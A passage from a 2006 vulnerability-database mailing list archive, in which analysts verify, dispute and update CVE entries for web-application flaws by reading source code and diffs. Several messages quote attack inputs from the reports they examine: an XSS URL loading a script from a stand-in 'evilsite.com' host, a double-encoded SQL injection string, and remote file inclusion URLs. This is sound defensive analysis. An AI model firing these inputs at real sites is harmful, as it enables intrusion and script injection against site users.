From: coley at mitre.org (Steven M. Christey)
Date: Wed, 7 Jun 2006 18:23:39 -0400 (EDT)
Subject: [VIM] [Full-disclosure] bug in oscomerce
Message-ID: <200606072223.k57MNdWM027258@cairo.mitre.org>


I've been spending too much time investigating this issue, so I gotta
stop.  But figured I'd forward it to VIM if someone else wants to
investigate.  Since I don't have a conclusion I'll leave it off
Bugtraq.

Is there a reason the original post didn't make it into any vuln dbs?

original ref was:

  http://lists.grok.org.uk/pipermail/full-disclosure/2005-December/040647.html

dispute here:

 BUGTRAQ:20060604 Re: [Full-disclosure] bug in oscomerce
 http://www.securityfocus.com/archive/1/archive/1/435976/100/0/threaded


========================

Frank Laszlo asked:

>this would require access to the administrator panel to work, how is
>this a vuln?

Does admin/file_manager.php require authentication to be accessed?  If
it doesn't, then this admin functionality would be exposed to anyone
who can make a direct request to the file.  This is a pretty standard
problem in web applications.

I don't know if that's the case here - the original researcher was not
precise about this, and the source code does not have any obvious
authentication.  The default distribution has a .htaccess in the admin
directory, but there's nothing specifying authentication.  A grep of
file_manager.php for "pass", "auth", "admin", and "check" yields
nothing.  Still, maybe the authentication is going on elsewhere.

Oh, by the way - the source code in oscommerce 2.2 Milestone 2 Update
051113 says:

  Server Requirement Error: register_globals is disabled in your PHP
  configuration. This can be enabled in your php.ini configuration
  file or in the .htaccess file in your catalog directory.

(for those who have suggested that we should ignore issues involving
register_globals)

- Steve

From theall at tenablesecurity.com  Wed Jun  7 19:52:03 2006
From: theall at tenablesecurity.com (George A. Theall)
Date: Wed, 07 Jun 2006 19:52:03 -0400
Subject: [VIM] [Full-disclosure] bug in oscomerce
In-Reply-To: <200606072223.k57MNdWM027258@cairo.mitre.org>
References: <200606072223.k57MNdWM027258@cairo.mitre.org>
Message-ID: <448766A3.2000907@tenablesecurity.com>

Steven M. Christey wrote:
> I've been spending too much time investigating this issue, so I gotta
> stop.  But figured I'd forward it to VIM if someone else wants to
> investigate.  Since I don't have a conclusion I'll leave it off
> Bugtraq.

osCommerce expects access to its administrative area to be handled by
the web server; eg, with a .htaccess file. It even includes an example
in the distribution file to take care of this:


http://www.oscommerce.info/kb/osCommerce/General_Information/Tips_and_Tricks/249

In some cases, though, it's possible this file will be ignored (eg, the
web server doesn't allow overrides) or the server doesn't grok .htaccess
files. Then, anyone will be able to access any of the administrative
scripts under admin/, including admin/file_manager.php.

I'm not clear if the original researcher understood this. If he did, I'd
agree with Frank Laszlo that it's not really an issue; otherwise, I'd
say it's part of a more general problem.

George
-- 
theall at tenablesecurity.com

From smoore at securityglobal.net  Thu Jun  8 02:41:08 2006
From: smoore at securityglobal.net (Stuart Moore)
Date: Thu, 08 Jun 2006 02:41:08 -0400
Subject: [VIM] misinterpretation?  (Re: Vice Stats 0.5b SQL injection)
Message-ID: <4487C684.5040707@securityglobal.net>

Hi.  Can someone double check this?  In the original "SQL injection" 
report, it says:

/vs_resource.php?ID=[SQL]

But in the version 0.2beta, 0.5beta, and 1.0, the first reference to the 
ID parameter is around line 99:

$_GET['ID']=mysql_real_escape_string($_GET['ID']);

This is just prior to the use of the ID parameter in:

$sql="SELECT r.ID, r.type
	FROM {$vs_dbPrefix}resource r
	WHERE r.ID={$_GET['ID']}";
$result=mysql_query($sql);

Thanks,

Stuart


From smoore at securityglobal.net  Thu Jun  8 09:47:54 2006
From: smoore at securityglobal.net (Stuart Moore)
Date: Thu, 08 Jun 2006 09:47:54 -0400
Subject: [VIM] CVE-2006-2823
Message-ID: <44882A8A.6080005@securityglobal.net>

Steve,

Hi.  The recently reported "new bug" in a.shopKart 2.0 [assigned 
CVE-2006-2823] is actually an old bug reported by CyberTalon back in 
March 2004:

http://securitytracker.com/id?1009549

It appears that there is no 2004-year CVE number assigned.  I couldn't 
find any references in SF, Secunia, OSVDB, but ISS XForce assigned it 
ashopkart-database-file-access (15599).

The vendor (URLogy) appears to be the same entity as Katrien De Graeve.

Should the new CVE number be applied to the old report?

Stuart



From jericho at attrition.org  Thu Jun  8 13:02:29 2006
From: jericho at attrition.org (security curmudgeon)
Date: Thu, 8 Jun 2006 13:02:29 -0400 (EDT)
Subject: [VIM] vuln DB gathering at Black Hat?
In-Reply-To: <200606070339.k573dxpA007314@cairo.mitre.org>
References: <200606070339.k573dxpA007314@cairo.mitre.org>
Message-ID: <Pine.LNX.4.64.0606081302110.21063@forced.attrition.org>


: Will various people be going to Black Hat?  Would it be worth having a 
: gathering of some sort?  Even if it's just to complain in person instead 
: of on this list :)

I will be there for one or two days of BH as well as most of the weekend 
for Defcon.

From coley at linus.mitre.org  Thu Jun  8 15:01:54 2006
From: coley at linus.mitre.org (Steven M. Christey)
Date: Thu, 8 Jun 2006 15:01:54 -0400 (EDT)
Subject: [VIM] CVE-2006-2823
In-Reply-To: <44882A8A.6080005@securityglobal.net>
References: <44882A8A.6080005@securityglobal.net>
Message-ID: <Pine.GSO.4.51.0606081459510.17302@faron.mitre.org>


On Thu, 8 Jun 2006, Stuart Moore wrote:

> Hi.  The recently reported "new bug" in a.shopKart 2.0 [assigned
> CVE-2006-2823] is actually an old bug reported by CyberTalon back in
> March 2004:
>
> http://securitytracker.com/id?1009549
>
> It appears that there is no 2004-year CVE number assigned.

Agreed.

> Should the new CVE number be applied to the old report?

Yes.  Aesthetically it should have come out with a 2004 number, but we
missed that this was a rediscovery.

Thanks for pointing this out!  Updated CVE-2006-2823 below.

- Steve

======================================================
Name: CVE-2006-2823
Status: Candidate
URL: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2823
Reference: BUGTRAQ:20060602 new bug
Reference: URL:http://www.securityfocus.com/archive/1/archive/1/435746/100/0/threaded
Reference: FRSIRT:ADV-2006-2208
Reference: URL:http://www.frsirt.com/english/advisories/2006/2208
Reference: SECTRACK:1009549
Reference: URL:http://securitytracker.com/id?1009549
Reference: SECUNIA:20485
Reference: URL:http://secunia.com/advisories/20485
Reference: XF:ashopkart-database-file-access(15599)
Reference: URL:http://xforce.iss.net/xforce/xfdb/15599

Katrien De Graeve a.shopKart 2.0 (aka ashopKart20) stores sensitive
information under the web root with insufficient access control, which
allows remote attackers to download a database via a direct request
for (1) admin/scart.mdb and possibly (2) admin/scart97.mdb.



From coley at linus.mitre.org  Thu Jun  8 15:10:37 2006
From: coley at linus.mitre.org (Steven M. Christey)
Date: Thu, 8 Jun 2006 15:10:37 -0400 (EDT)
Subject: [VIM] misinterpretation?  (Re: Vice Stats 0.5b SQL injection)
In-Reply-To: <4487C684.5040707@securityglobal.net>
References: <4487C684.5040707@securityglobal.net>
Message-ID: <Pine.GSO.4.51.0606081502560.17302@faron.mitre.org>


immediate guess based on no research whatsoever is that a non-numeric
input for ID would produce an SQL error, which the researcher might be
mistakenly thinking is SQL injection.

or maybe something like "OR 1 = 1" would work to retrive the wrong ID?

just a couple guesses...

On Thu, 8 Jun 2006, Stuart Moore wrote:

> Hi.  Can someone double check this?  In the original "SQL injection"
> report, it says:
>
> /vs_resource.php?ID=[SQL]
>
> But in the version 0.2beta, 0.5beta, and 1.0, the first reference to the
> ID parameter is around line 99:
>
> $_GET['ID']=mysql_real_escape_string($_GET['ID']);
>
> This is just prior to the use of the ID parameter in:
>
> $sql="SELECT r.ID, r.type
> 	FROM {$vs_dbPrefix}resource r
> 	WHERE r.ID={$_GET['ID']}";
> $result=mysql_query($sql);
>
> Thanks,
>
> Stuart
>
>

From smoore at securityglobal.net  Thu Jun  8 18:09:59 2006
From: smoore at securityglobal.net (Stuart Moore)
Date: Thu, 08 Jun 2006 18:09:59 -0400
Subject: [VIM] misinterpretation?  (Re: Vice Stats 0.5b SQL injection)
In-Reply-To: <Pine.GSO.4.51.0606081502560.17302@faron.mitre.org>
References: <4487C684.5040707@securityglobal.net>
	<Pine.GSO.4.51.0606081502560.17302@faron.mitre.org>
Message-ID: <4488A037.70907@securityglobal.net>

I have asked crazy cracker for more details.  I'm 99% certain this is a 
mis-diagnosis.

Stuart



Steven M. Christey wrote:
> immediate guess based on no research whatsoever is that a non-numeric
> input for ID would produce an SQL error, which the researcher might be
> mistakenly thinking is SQL injection.
> 
> or maybe something like "OR 1 = 1" would work to retrive the wrong ID?
> 
> just a couple guesses...
> 
> On Thu, 8 Jun 2006, Stuart Moore wrote:
> 
>> Hi.  Can someone double check this?  In the original "SQL injection"
>> report, it says:
>>
>> /vs_resource.php?ID=[SQL]
>>
>> But in the version 0.2beta, 0.5beta, and 1.0, the first reference to the
>> ID parameter is around line 99:
>>
>> $_GET['ID']=mysql_real_escape_string($_GET['ID']);
>>
>> This is just prior to the use of the ID parameter in:
>>
>> $sql="SELECT r.ID, r.type
>> 	FROM {$vs_dbPrefix}resource r
>> 	WHERE r.ID={$_GET['ID']}";
>> $result=mysql_query($sql);
>>
>> Thanks,
>>
>> Stuart
>>
>>
> 

From coley at linus.mitre.org  Fri Jun  9 14:42:09 2006
From: coley at linus.mitre.org (Steven M. Christey)
Date: Fri, 9 Jun 2006 14:42:09 -0400 (EDT)
Subject: [VIM] Update Regarding CVE-2006-1921 (fwd)
Message-ID: <Pine.GSO.4.51.0606091441500.14054@faron.mitre.org>


name in the email matches author name, so I assume vendor ack.

---------- Forwarded message ----------
Date: Fri, 09 Jun 2006 08:52:44 -0400
From: Eric Robertson
To: cve at mitre.org
Subject: Update Regarding CVE-2006-1921

PHP Net Tools has been updated by the vendor to patch this exploit.  New
version is available at same URL:

http://www.hotscripts.com/Detailed/47915.html



From coley at linus.mitre.org  Fri Jun  9 14:44:42 2006
From: coley at linus.mitre.org (Steven M. Christey)
Date: Fri, 9 Jun 2006 14:44:42 -0400 (EDT)
Subject: [VIM] Update Regarding CVE-2006-1921 (fwd)
Message-ID: <Pine.GSO.4.51.0606091444280.14054@faron.mitre.org>


changelog in the new download also has:

Version 2.7.2 (06/08/2006)
--------------------------
- Fixed: A security flaw could allow arbitrary command execution on the
server


From jkouns at opensecurityfoundation.org  Sat Jun 10 21:38:26 2006
From: jkouns at opensecurityfoundation.org (jkouns)
Date: Sat, 10 Jun 2006 21:38:26 -0400
Subject: [VIM] vuln DB gathering at Black Hat?
In-Reply-To: <Pine.LNX.4.64.0606081302110.21063@forced.attrition.org>
References: <200606070339.k573dxpA007314@cairo.mitre.org>
	<Pine.LNX.4.64.0606081302110.21063@forced.attrition.org>
Message-ID: <448B7412.8090609@opensecurityfoundation.org>

> : Will various people be going to Black Hat?  Would it be worth having a 
> : gathering of some sort?  Even if it's just to complain in person instead 
> : of on this list :)
> 
> I will be there for one or two days of BH as well as most of the weekend 
> for Defcon.

I think that is a great idea!  I will be there on Tuesday.....  When it 
gets a bit closer lets pick a time as it we will have a better idea of 
the OSVDB events, etc.

See you soon,
--Jake


From jericho at attrition.org  Sun Jun 11 04:37:45 2006
From: jericho at attrition.org (security curmudgeon)
Date: Sun, 11 Jun 2006 04:37:45 -0400 (EDT)
Subject: [VIM] 25916: Ottoman index.php default_path Variable Remote File
 Inclusion (fwd)
Message-ID: <Pine.LNX.4.64.0606110437290.14710@forced.attrition.org>



---------- Forwarded message ----------
From: Ethan Poole
To: moderators at osvdb.org
Date: Sat, 10 Jun 2006 17:57:00 -0400
Reply-To: moderators at osvdb.org
Subject: [OSVDB Mods] Change Request 25916: Ottoman index.php default_path
     Variable Remote File Inclusion

OSVDB,

Lowter has repaired this issue of remote file inclusion in Errors 25916 - 25921 
(they involve the same bug).  The solution has been included in Ottoman v1.1.3.

http://www.lowter.com/forums/viewtopic.php?id=964 (Announcement about release)
http://prdownloads.sourceforge.net/ottoman/ottoman_v1.1.3.zip?download 
(Download link)

- Ethan Poole

Lowter - www.lowter.com
Webmaster eZine with articles, blogs, forums, and more!

From jericho at attrition.org  Sun Jun 11 14:41:30 2006
From: jericho at attrition.org (security curmudgeon)
Date: Sun, 11 Jun 2006 14:41:30 -0400 (EDT)
Subject: [VIM] vendor ack/fix: Open Searchable Image Catalogue
Message-ID: <Pine.LNX.4.64.0606111435590.14710@forced.attrition.org>


http://cosp.wordpress.com/tag/osic


OSIC 0.7.0.1
May 30th, 2006

OSIC 0.7.0.1 has been released due to the resolution of some security 
vulnerabilities. I urge all users to upgrade to the new version. All 
changes are in core.php, so replacing that file is all that is required to 
upgrade.

Visit http://sourceforge.net/projects/osic-win to download the latest 
version.
Posted by chrisgoerner




From coley at linus.mitre.org  Mon Jun 12 13:19:15 2006
From: coley at linus.mitre.org (Steven M. Christey)
Date: Mon, 12 Jun 2006 13:19:15 -0400 (EDT)
Subject: [VIM] vuln DB gathering at Black Hat?
In-Reply-To: <448B7412.8090609@opensecurityfoundation.org>
References: <200606070339.k573dxpA007314@cairo.mitre.org>
	<Pine.LNX.4.64.0606081302110.21063@forced.attrition.org>
	<448B7412.8090609@opensecurityfoundation.org>
Message-ID: <Pine.GSO.4.51.0606121318090.12166@faron.mitre.org>


On Sat, 10 Jun 2006, jkouns wrote:

> I think that is a great idea!  I will be there on Tuesday.....  When it
> gets a bit closer lets pick a time as it we will have a better idea of
> the OSVDB events, etc.

Sounds good to me!

- Steve

From coley at mitre.org  Mon Jun 12 15:43:05 2006
From: coley at mitre.org (Steven M. Christey)
Date: Mon, 12 Jun 2006 15:43:05 -0400 (EDT)
Subject: [VIM] verify of LabWiki issue (source inspection)
Message-ID: <200606121943.k5CJh5WS016643@faron.mitre.org>


ref:

  Bugtraq - LabWiki v1.0
  http://www.securityfocus.com/archive/1/archive/1/435981/100/0/threaded


I obtained version 1.5.

In search.php we have:

  <input type="text" name="query" id="query" value="<?php echo $QW['requestQuery']; ?>" />&nbsp;


The "$QW['requestQuery']" is set in _global.php :

  $QW['requestQuery']    = trim(QWSafeGet( $QW_REQUEST, 'query' ));

the "QWSafeGet" function basically accesses an array value in a way
that prevents an undefined index warning.

Earlier in _global.php, $QW_REQUEST is set to either $_GET or $_POST.


So, we have a literal reflection of the "query" parameter as sent to
search.php when it re-constructs the query page.

- Steve

From coley at mitre.org  Mon Jun 12 17:09:24 2006
From: coley at mitre.org (Steven M. Christey)
Date: Mon, 12 Jun 2006 17:09:24 -0400 (EDT)
Subject: [VIM] verify of ViArt Shop Free 2.5.5 issue (diff digging)
Message-ID: <200606122109.k5CL9OW5019160@faron.mitre.org>


Refs:

  BUGTRAQ:20060607 [NOBYTES.COM: #12] ViArt Shop v2.5.5 - XSS Vulnerability
  URL:http://www.securityfocus.com/archive/1/archive/1/436415/100/0/threaded
  SECUNIA:20538
  URL:http://secunia.com/advisories/20538

The Bugtraq post links to the following fix:

  http://www.codetosell.com/downloads/xss_fix.zip

whose name is probably sufficient enough to prove an acknowledgement
of this report, but...

The xss_fix.zip file contains 3 executables:

  block_forum_topic_new.php
  block_forum_topics.php
  block_reviews.php

Downloading the original 2.5.5 files (still available on the vendor
web site) and doing a diff with the fix yields results such as this
one for block_forum_topic_new.php:

< 				$sql .= " WHERE forum_id=" . $db->tosql($forum_id, INTEGER);
---
> 				$sql .= " WHERE forum_id=" . $forum_id;


These are in the forum_topic_new function.  But before we get to that
point, we have:

	$forum_id = get_param("forum_id");

So, we have an SQL injection problem here.


Back to the XSS.

For block_reviews.php we have the reviews function:

< 	$t->set_var("column_id",     htmlspecialchars($column_id));
< 	$t->set_var("column_name",   htmlspecialchars($column_name));
---
> 	$t->set_var("column_id",     $column_id);
> 	$t->set_var("column_name",   $column_name);

and $column_id comes from:

		$column_id = get_param("item_id");

Note - based on surface level analysis, $column_name is only set to
static values.


and for the forum_topics_show function in block_forum_topics.php we
have:

< 		$forum_topic_new_url = "forum_topic_new.php?forum_id=" . urlencode($forum_id);
---
> 		$forum_topic_new_url = "forum_topic_new.php?forum_id=" . $forum_id;

and this is called from forum.php.


*phew* that hurt.

- Steve

From coley at mitre.org  Mon Jun 12 17:44:10 2006
From: coley at mitre.org (Steven M. Christey)
Date: Mon, 12 Jun 2006 17:44:10 -0400 (EDT)
Subject: [VIM] verified SQL injection in IntegraMOD 1.4.0 (source inspection)
Message-ID: <200606122144.k5CLiA5l020061@faron.mitre.org>


Ref:

  BUGTRAQ:20060606 Multiple Sql injection and XSS in integramod portal
  URL:http://www.securityfocus.com/archive/1/archive/1/436457/100/0/threaded

Some VDB's didn't list the SQL injection, but they listed the XSS.

notice in the Bugtraq post that the demo URL is:

  http://target/index.php?STYLE_URL=%2527

which decodes to "%27" which, itself, decodes to "'"


So, we have SQL injection by double-decoding.


from includes/functions.php of a 1.4.0 download:

	if ( isset($HTTP_POST_VARS[STYLE_URL]) || isset($HTTP_GET_VARS[STYLE_URL]) ) 
	{
		$style = urldecode( (isset($HTTP_POST_VARS[STYLE_URL])) ? $HTTP_POST_VARS[STYLE_URL] : $HTTP_GET_VARS[STYLE_URL] );
		if ( $theme = setup_style($style) )
		{

....

	if ( isset($HTTP_COOKIE_VARS[$board_config['cookie_name'] . '_style']) )
	{
		$style = $HTTP_COOKIE_VARS[$board_config['cookie_name'] . '_style'];
		if ( $theme = setup_style($style) )
		{


...

  function setup_style($style)
  {
  	global $db, $board_config, $template, $images, $phpbb_root_path, $var_cache, $portal_config, $current_template_path;
  
  	// BEGIN Style Select MOD
  	if ( intval($style) == 0 )
  	{
		$sql = "SELECT themes_id
				FROM " . THEMES_TABLE . "
				WHERE style_name = '$style'";



So... setup_style() checks if its $style argument equates to an
integer value of 0, which is the case with most arbitrary non-numeric
strings as I understand it.

But it then just feeds '$style' into a SQL query.

I would venture a guess that the "%2527" string is first decoded to
"%27" by PHP itself (this is mentioned in a comment in the online PHP
manual entry for urlencode), and then the "urldecode" call will then
translate the "%27" to a "'".


- Steve

From jericho at attrition.org  Mon Jun 12 18:16:03 2006
From: jericho at attrition.org (security curmudgeon)
Date: Mon, 12 Jun 2006 18:16:03 -0400 (EDT)
Subject: [VIM] misinterpretation?  (Re: Vice Stats 0.5b SQL injection)
In-Reply-To: <4488A037.70907@securityglobal.net>
References: <4487C684.5040707@securityglobal.net>
	<Pine.GSO.4.51.0606081502560.17302@faron.mitre.org>
	<4488A037.70907@securityglobal.net>
Message-ID: <Pine.LNX.4.64.0606121814580.14710@forced.attrition.org>


: I have asked crazy cracker for more details.  I'm 99% certain this is a 
: mis-diagnosis.

Vendor confirmed it and mentioned a second vulnerable file.

--

http://www.arantius.com/topic/vice+stats

Topic: Vice Stats
VS Release Version 1.0.1
2006-06-10 15:28 - Vice Stats

Hot on the tails of the version 1.0 release, some kind soul reported a 
security vulnerability to secunia rather than to me directly. Either way, 
it's fixed now, and is only inside the reporting interface. If you use 
the multi-user option (which is password protected) or otherwise limit 
availability to vs_resources.php and vs_search.php then you have no 
problems.

Bugfixes:

    * Security fixes in vs_resource.php and vs_search.php for potential 
SQL injection.

Download here:

    * vicestats-1.0.1.tar.gz - 695,730 bytes
    * vicestats-1.0.1.zip - 705,661 bytes



From coley at mitre.org  Mon Jun 12 19:11:27 2006
From: coley at mitre.org (Steven M. Christey)
Date: Mon, 12 Jun 2006 19:11:27 -0400 (EDT)
Subject: [VIM] vendor inquiry for vsREAL / vSCAL
Message-ID: <200606122311.k5CNBRJi022816@faron.mitre.org>


FYI I sent an inquiry to the developer at:

  http://www.babykatiemedia.com/contact.php

Also - luny spelled the product name "vREAL" but it's clear from the
vendor page that it's "vsREAL".

- Steve

From coley at mitre.org  Mon Jun 12 19:46:36 2006
From: coley at mitre.org (Steven M. Christey)
Date: Mon, 12 Jun 2006 19:46:36 -0400 (EDT)
Subject: [VIM] Asterisk / Core-ST discrepancy in vuln severity
Message-ID: <200606122346.k5CNkanU023534@faron.mitre.org>


I don't feel like commenting more publicly, but for those who like to
keep track of such things:

  BUGTRAQ:20060609 CORE-2006-0330: Asterisk PBX truncated video frame vulnerability
  URL:http://www.securityfocus.com/archive/1/archive/1/436671/100/0/threaded

  "A vulnerability found in the Asterisk's handling of IAX2 video
  frames could lead to remote compromise... The memcpy() at [E] will
  receive a pointer to memory outside of the packet read from the
  network as second argument and a negative value as third argument
  resulting in an exploitable buffer overflow condition"


But the vendor fix (correlated by CORE-ST by mentioning CVE-2006-2898)
says:

  http://www.asterisk.org/node/95

  "The vulnerability ... can lead to denial of service attacks and
  random Asterisk server crashes via a relatively trivial exploit."


So - is there one vuln or two?  If two - then we don't know for sure
whether the vendor fixed the Core-ST issue or not.  If one - then the
vendor apparently disagrees with a reliable, prominent researcher on
whether an issue is exploitable or not.

- Steve

From coley at mitre.org  Mon Jun 12 20:21:59 2006
From: coley at mitre.org (Steven M. Christey)
Date: Mon, 12 Jun 2006 20:21:59 -0400 (EDT)
Subject: [VIM] OkMall - "q" parameter not affected?
Message-ID: <200606130021.k5D0LxF9024249@faron.mitre.org>


Ref:

  BUGTRAQ:20060608 okscripts.com - XSS Vulns
  URL:http://www.securityfocus.com/archive/1/436561

Some vdb's are reporting "q" parameter as affected.

Relevant demonstration URL is:

  okmall/demo/search.php?q=a%20%20b%20e%20&mcdir=5&
  page=[SCRIPT%20SRC=http://evilsite.com/xss.js][/SCRIPT]

So the "q" value is:

  a%20%20b%20e%20

which, when decoded, is just a bunch of whitespace:

  a  b e


Thoughts?  Did someone do post-disclosure analysis on this one?

- Steve

From coley at mitre.org  Tue Jun 13 16:40:29 2006
From: coley at mitre.org (Steven M. Christey)
Date: Tue, 13 Jun 2006 16:40:29 -0400 (EDT)
Subject: [VIM] possible vendor fix of tinyMuw issues
Message-ID: <200606132040.k5DKeT9Z020372@faron.mitre.org>


Refs: CVE-2006-2970, CVE-2006-2969

FRSIRT:ADV-2006-2310 says the issue is fixed in the latest downloads,
but the available version number is the same as the version that was
reported to be vulnerable.  A download of the source code suggests
that 2 key files were modified after the original disclosure date,
which is also after the original release date for the affected
version.  Quick glance at the source code suggests protection
mechanisms are in place for the related issues (things like die "HACK
ATTEMPT!").  I sent an email to the vendor just to confirm that the
issues have been fixed.

- Steve


======================================================
Name: CVE-2006-2969
Status: Candidate
URL: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2969
Reference: BUGTRAQ:20060609 TinyMuw v1.0 - XSS
Reference: URL:http://www.securityfocus.com/archive/1/archive/1/436640/100/0/threaded

Cross-site scripting (XSS) vulnerability in L0j1k tinyMuw 0.1.0 allow
remote attackers to inject arbitrary web script or HTML via a
javascript URI in the SRC attribute of an IMG element in the input box
in quickchat.php, and possibly other manipulations.


======================================================
Name: CVE-2006-2970
Status: Candidate
URL: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2970
Reference: BUGTRAQ:20060609 TinyMuw v1.0 - XSS
Reference: URL:http://www.securityfocus.com/archive/1/archive/1/436640/100/0/threaded

videoPage.php in L0j1k tinyMuw 0.1.0 allows remote attackers to obtain
sensitive information via a certain id parameter, probably with an
invalid value, which reveals the path in an error message.



From coley at mitre.org  Wed Jun 14 02:45:48 2006
From: coley at mitre.org (Steven M. Christey)
Date: Wed, 14 Jun 2006 02:45:48 -0400 (EDT)
Subject: [VIM] REMOTE FILE INCLUSION ( ALL )
Message-ID: <200606140645.k5E6jmBH009882@faron.mitre.org>


I just sent the following to Bugtraq.  Does anybody know of a provably
correct disclosure from SpC-x?  I've only recently noticed the name.

Some of the disclosures were so out there that I started to question
my own assumptions, like: "well, maybe if you have one statement that
sets a variable to a fixed value and the very next statement has an
allegedly vulnerable include statement that uses that variable, maybe
there's some weird OS-specific multiprocessor asynchronous threading
64-bit uncleared-register vulnerability related to some poorly
documented side effect in an API function's implementation deep in the
PHP interpreter that nobody's noticed but somehow appears in enough
real-world environments that a bunch of cut-and-paste kiddies are
hacking into live systems because fools like me are only looking at
source code and assuming there's no problem."

Yeah, Vegas is starting to sound pretty good right about now...

============================================================

This post appears to have some errors.

What PHP version, environment, and operating system did you use to
test this?  Did you use a real web site, or did you just look at the
source code?

When a variable is used in a require or include statement, you must
make sure that the variable can be controlled by an attacker.  If the
variable is set to a fixed value, or it can only be changed by the
administrator, then it probably is not a vulnerability.

>CzarNews v1.14 Version - Remote File Include Vulnerabilities
>
>Link : http://www.root-security.org/danger/CzarNews.txt

If you search google.com for "CzarNews," then the 4th item is a
Secunia advisory for exactly the same vulnerability, which is
attributed to brOmstar and first announced sometime in March 2005.
That was not mentioned here.

>Simpnews <= All version - Remote File Include Vulnerabilities
>
>Link : http://www.root-security.org/danger/Simpnews.txt

It will be interesting to see the answer to str0ke's question about
this problem, since the source code suggests that there is no
vulnerability.

>phphg Guestbook Signed.PHP - Remote File Include Vulnerabilities
>
>Link : http://www.root-security.org/danger/phphgGuestbook.txt

The original source code as quoted from this advisory says:

> # $phphg_real_path = "./";
> # include($phphg_real_path . 'common.php');

which doesn't seem exploitable as presented, since $phphg_real_path is
set to a static value that is not controlled by an attacker.

>Flog 1.1.2 Version - Remote File Include Vulnerabilities
>
>Link : http://www.root-security.org/danger/Flog.txt

this link gives the code example:

> # $FLog_dir_include = 'include/';
> ...
> require_once($FLog_dir_include.'core.inc.php');

and, again, the variable is set to a static value.

>wheatblog 1.0 Version - "wb_inc_dir" Parameter File Inclusion
>Vulnerability
>
>Link : http://www.root-security.org/danger/wheatblog.txt

which says:

> # require_once('./settings.php');
> ...
> # include_once("$wb_inc_dir/header.php");
> ...
># http://www.victim.com/wheatblog/view_links.php?wb_inc_dir=Command-Shell

view_links.php does not define $wb_inc_dir, but if we look at
settings.php, we have:

>	$wb_dir = 		'/www/wheatblog';  
>	$wb_inc_dir   = "$wb_dir/includes";

So, if the administrator sets $wb_dir to a fixed value, then
$wb_inc_dir cannot be controlled by an attacker.

>MD News 1 Version - Remote File Include Vulnerabilities
>
>Link : http://www.root-security.org/danger/MDNews.txt

the extracted code from this link says:

> # $configfile = "config.php";
> # require $configfile;

and gives a demonstration URL:

> # http://www.victim.com/MD News/latest.php?configfile=Command-Shell

but here, again, the variable is defined to a static value (this
particular source code can be seen from
http://scripts.ringsworld.com/news-publishing/mdnews/latest.php.html)


I did not examine the claims for the other products that were listed
in the original post.

- Steve

From jericho at attrition.org  Wed Jun 14 03:32:51 2006
From: jericho at attrition.org (security curmudgeon)
Date: Wed, 14 Jun 2006 03:32:51 -0400 (EDT)
Subject: [VIM] CVE-2006-2642 / OSVDB 25785 - vendor ack
Message-ID: <Pine.LNX.4.64.0606140330450.22384@forced.attrition.org>


http://cve.mitre.org/cgi-bin/cvename.cgi?name=2006-2642

** UNVERIFIABLE ** NOTE: this issue does not contain any verifiable or 
actionable details. Cross-site scripting (XSS) vulnerability in Marco M. 
F. De Santis Php- residence 0.6 and earlier allows remote attackers to 
inject arbitrary web script or HTML via "any of its input." NOTE: the 
original disclosure is based on vague researcher claims without vendor 
acknowledgement; therefore this identifier cannot be linked with any 
future identifier that identifies more specific vectors. Perhaps this 
should not be included in CVE.



http://www.digitaldruid.net/php-residence/wiki/wiki.php/CHANGELOG

0.6.1 (31/05/2006)
-security bug: htmlspecialchars for input from normal users when inserted
   in database

From theall at tenablesecurity.com  Wed Jun 14 07:29:21 2006
From: theall at tenablesecurity.com (George A. Theall)
Date: Wed, 14 Jun 2006 07:29:21 -0400
Subject: [VIM] REMOTE FILE INCLUSION ( ALL )
In-Reply-To: <200606140645.k5E6jmBH009882@faron.mitre.org>
References: <200606140645.k5E6jmBH009882@faron.mitre.org>
Message-ID: <448FF311.3080806@tenablesecurity.com>

Steven M. Christey wrote:

> I just sent the following to Bugtraq.  Does anybody know of a provably
> correct disclosure from SpC-x?  I've only recently noticed the name.

I don't know the answer off-hand, but I did actually set up boastMachine
3.1 and wheatblog 1.0 and tried the exploits listed in the advisories.
Neither worked for me (PHP 4.4.0 with register_globals on and
magic_quotes_gpc off).

Perhaps s/he's just basing the advisories off a not-very-deep visual
inspection. Or perhaps n3td3v has tired of playing with full-disclosure
and taken on a new set of targets along with a new alias for his fun.

George
-- 
theall at tenablesecurity.com

From jericho at attrition.org  Wed Jun 14 16:37:47 2006
From: jericho at attrition.org (security curmudgeon)
Date: Wed, 14 Jun 2006 16:37:47 -0400 (EDT)
Subject: [VIM] Content*Builder File Inclusion
Message-ID: <Pine.LNX.4.64.0606141636510.22384@forced.attrition.org>


I assume this is related to the recent C*B file inclusion disclosure.

--

http://www.content-builder.de/

Defacing?!!

Seit dem heutigen Tag wei ich was defacing heit. Es ist Webvandalismus und 
bezeichnet das Ausnutzen von Sicherheitslcken um Webseiten zu 
verunstalten. Statt auf Lcken aufmerksam zu machen, wird der extreme Weg 
gegangen der den Ttern einen zweifelhaften Ruhm einbringen soll. In 
unserem Fall wurde versucht mehrere C*B basierete Projekte anzugreifen.

Wie funktioniert es? Also zunchst sucht man sich eine OpenSource Software 
aus. Bei closedsource wird das ganze nmlich komplizierter. Daher gehen 
Scriptkiddies den einfachen Weg. In der Software sucht man in den Dateien 
nach Variablen, die bei includes mit eingefgt werden. Anschlieend wird 
versucht, das Script zu veranlassen eine Datei mit PHP Code von einem 
anderen Server zu laden mit weiteren Parametern. Diese Datei enthlt den 
Schadcode der einen bestimmten Befehl, welcher in den Parameteren steht, 
ausfhrt.

Jetzt mssen mehrere Sachen gleichzeitig zutreffen:
- PHP ist mit  allow_url_fopen = On in der php.ini konfiguriert -> damit 
kann man Dateien von anderen Servern per include oder require einbinden
- eine Variable ist nicht gengend geprft UND / ODER
- der Server luft unter PHP4 mit register_globals = On

Falls ihr betroffen seid, lest weiter.
    >> more
12.06.2006 - 22:55:22 by: Jrg Stber

From theall at tenablesecurity.com  Wed Jun 14 19:53:43 2006
From: theall at tenablesecurity.com (George A. Theall)
Date: Wed, 14 Jun 2006 19:53:43 -0400
Subject: [VIM] bbrss PhpBB (phpbb_root_path) Remote File Inclusion
Message-ID: <4490A187.90506@tenablesecurity.com>

To save people the effort...

bbrss appears to be an add-on for phpBB. I found a copy for download here:

  http://scripts.ringsworld.com/discussion-boards/bbrss/

[NB: disable Javascript before you visit -- it caused my copy of Firefox
